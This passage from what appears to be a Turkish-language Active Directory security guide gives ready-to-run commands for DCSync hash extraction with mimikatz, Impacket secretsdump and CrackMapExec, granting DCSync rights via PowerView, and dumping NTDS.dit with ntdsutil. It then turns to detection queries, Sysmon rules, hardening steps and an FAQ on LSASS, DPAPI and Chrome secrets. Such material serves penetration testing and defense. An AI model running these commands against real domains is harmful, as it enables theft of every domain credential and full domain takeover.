DCSync, gerçek bir NTDS.dit dosyası kopyalamaya gerek kalmadan DC'nin replikasyon protokolünü (DRSUAPI) kullanarak hash çekme tekniğidir. Avantajı: DC'ye fiziksel erişim gerekmez, sadece ağ erişimi ve uygun haklar yeterlidir.
Gerekli haklar: DS-Replication-Get-Changes ve DS-Replication-Get-Changes-All (varsayılan olarak Domain Admins ve Domain Controllers'da)
# mimikatz DCSync
lsadump::dcsync /domain:corp.local /user:administrator
lsadump::dcsync /domain:corp.local /user:krbtgt # Golden Ticket için!
lsadump::dcsync /domain:corp.local /all /csv # tüm hash'ler CSV formatında
# Impacket ile
python3 secretsdump.py corp.local/administrator:'Password123'@DC01.corp.local -just-dc
python3 secretsdump.py -hashes :NT_HASH [email protected] -just-dc-ntlm
# CrackMapExec ile
crackmapexec smb DC01.corp.local -u administrator -p 'Password123' --ntds
# DCSync hakları ver (domain admin gerektirmez, sadece delege edilebilir)
# PowerView ile
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jdoe -Rights DCSync
7.3 ntdsutil ile (LOLBin)
# ntdsutil — Windows'a yerleşik Active Directory yönetim aracı
ntdsutil "activate instance ntds" "ifm" "create full C:\temp\ntds_backup" "quit" "quit"
# Bu komut C:\temp\ntds_backup\ altında:
# Active Directory\ntds.dit
# registry\SYSTEM
# dosyalarını oluşturur
# Hash çıkarma
python3 secretsdump.py -ntds "C:\temp\ntds_backup\Active Directory\ntds.dit" -system "C:\temp\ntds_backup\registry\SYSTEM" LOCAL
8. OPSEC Değerlendirmesi ve Tespit Rehberi
8.1 Kritik Windows Olay Kimlikleri
- Event 4611: Güvenilir bir oturum açma süreci LSASS'a kaydedildi
- Event 4625: Başarısız oturum açma girişimi
- Event 4661: SAM, NTDS veya SECURITY nesnesine handle açıldı
- Event 4662: Active Directory nesnesinde işlem yapıldı (DCSync için kritik)
- Event 4688: Yeni process oluşturuldu (mimikatz.exe tespiti)
- Event 4698/4699: Zamanlanmış görev oluşturuldu/silindi
- Sysmon Event 10: ProcessAccess — lsass.exe'ye handle açma tespiti
- Sysmon Event 11: FileCreate — .dmp dosyası oluşturma
- Sysmon Event 12/13: RegistryEvent — WDigest registry değişikliği
8.2 Sysmon Konfigürasyonu (LSASS Koruması)
<!-- sysmonconfig.xml -- lsass process access tespiti -->
<ProcessAccess onmatch="include">
<TargetImage condition="is">C:\Windows\system32\lsass.exe</TargetImage>
</ProcessAccess>
<!-- Sonuç: her LSASS handle açılışı Event 10 olarak loglanır -->
<!-- KorelasyonKural: çok sayıda Event 10 = credential dump girişimi -->
8.3 LSASS Erişim Tespiti (KQL — Microsoft Sentinel)
// LSASS Memory Access Detection
SecurityEvent
| where EventID == 10 // Sysmon ProcessAccess
| where TargetImage contains "lsass.exe"
| where not(InitiatingProcessName in~ ("svchost.exe", "wininit.exe", "csrss.exe"))
| project TimeGenerated, Computer, InitiatingProcessName, InitiatingProcessCommandLine, TargetImage, GrantedAccess
| order by TimeGenerated desc
// DCSync Detection (Event 4662)
SecurityEvent
| where EventID == 4662
| where Properties has "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" // DS-Replication-Get-Changes-All
or Properties has "1131f6ab-9c07-11d1-f79f-00c04fc2dcd2"
| where SubjectUserName != "DOMAIN_CONTROLLER$"
| project TimeGenerated, Computer, SubjectUserName, ObjectName, Properties
9. Savunma Önlemleri
9.1 LSASS Koruması
# PPL (Protected Process Light) etkinleştir
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# Credential Guard GPO yolu:
# Computer Configuration > Administrative Templates > System >
# Device Guard > Turn On Virtualization Based Security
# + Credential Guard Configuration: Enable with UEFI lock
# WDigest'i devre dışı bırak (zaten kapalı olmalı, zorla kapat)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 0 /f
9.2 Audit Policy
# Gelişmiş denetim politikası yapılandırması
auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable
auditpol /set /subcategory:"Security Account Manager" /success:enable
auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
# Sysmon kurulumu (SwiftOnSecurity config)
# https://github.com/SwiftOnSecurity/sysmon-config
sysmon.exe -accepteula -i sysmonconfig.xml
9.3 GPP Temizliği
# SYSVOL'da GPP şifrelerini tara
findstr /S /I cPassword \\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\*.xml
# Bulunan XML dosyalarından cPassword alanlarını temizle
# Bulunan hesapların şifrelerini değiştir
# MS14-025 patch zaten uygulanmış olmalı — kontrol et:
wmic qfe get HotFixID | findstr KB2962486
9.4 DPAPI Güvenlik Hardening
- Domain backup key'i düzenli olarak değiştirin (en az yılda bir)
- Kritik sırları DPAPI yerine HSM veya Azure Key Vault'a taşıyın
- DCSync hakları için Privileged Identity Management (PIM) kullanın
- Microsoft Defender for Identity (MDI) ile DCSync ve Golden Ticket tespiti yapın
- Tier model uygulayın: Domain Admin hesapları sadece DC'de kullanılsın
10. Referanslar ve Kaynaklar
- Benjamin Delpy (gentilkiwi): mimikatz — github.com/gentilkiwi/mimikatz
- SpecterOps: SharpDPAPI, SharpChrome — github.com/GhostPack
- Impacket (SecureAuth): secretsdump.py, dpapi.py — github.com/fortra/impacket
- MITRE ATT&CK: T1003 OS Credential Dumping — attack.mitre.org
- MS14-025: GPP Credentials Advisory — Microsoft Security
- harmj0y: DPAPI Primer — blog.harmj0y.net
- Mark Russinovich: ProcDump, Sysinternals Suite
- gentilkiwi: DPAPI avec domaine — mimikatz wiki
- Active Directory Güvenlik Testi: Saldırganın Gözünden Kapsamlı Rehber
- Kerberos Protokolü İçselleştirme: Biletler, PAC ve Güvenlik Etkileri
- AD Sertifika Servisleri Derinlemesine: ESC1'den ESC8'e Tüm Saldırı Yolları
- BloodHound CE ile Defensif AD Analizi: Saldırı Yolu Yönetimi
- Windows Kimlik Bilgisi Erişimi: LSASS, DPAPI, SAM ve Tarayıcı Sırları
Sıkça Sorulan Sorular
LSASS nedir ve saldırganlar neden hedefler?
LSASS (Local Security Authority Subsystem Service), oturum açmış kullanıcıların kimlik bilgilerini bellekte tutar — NTLM hash'leri, Kerberos biletleri ve bazen düz metin parolalar. Saldırganlar, yanal harekette kullanmak üzere Mimikatz, comsvcs.dll veya nanodump gibi araçlarla bu belleği dump ederek kimlik bilgilerini toplar.
DPAPI Windows sırlarını nasıl korur?
Data Protection API, tarayıcı parolalarını, çerezleri, Wi-Fi anahtarlarını ve Credential Manager kayıtlarını şifrelemek için kullanıcının parolasından (ve bir domain yedek anahtarından) kullanıcıya özel master key'ler türetir. Kullanıcının parolasını veya domain DPAPI yedek anahtarını ele geçiren saldırgan bunların tamamını çevrimdışı çözebilir.
Modern Chrome parolaları nasıl çözülür?
Chrome, kimlik bilgilerini kullanıcı profili altında DPAPI ile korunan bir AES-256-GCM anahtarıyla şifreler. Kullanıcı bağlamında kod çalıştırabilen (ya da DPAPI master key'ine sahip) bir saldırgan, AES anahtarını Local State'ten çıkarıp Login Data SQLite veritabanını çözer.
Savunmacılar kimlik erişimini nasıl tespit eder?
LSASS'ı Protected Process Light (PPL) olarak çalıştırın ve Credential Guard'ı etkinleştirin, lsass.exe'ye açılan şüpheli handle'ları izleyin (Sysmon olay 10), SAM/SECURITY hive erişimini ve shadow-copy oluşturmayı gözleyin, bilinen dump aracı imzalarında alarm üretin.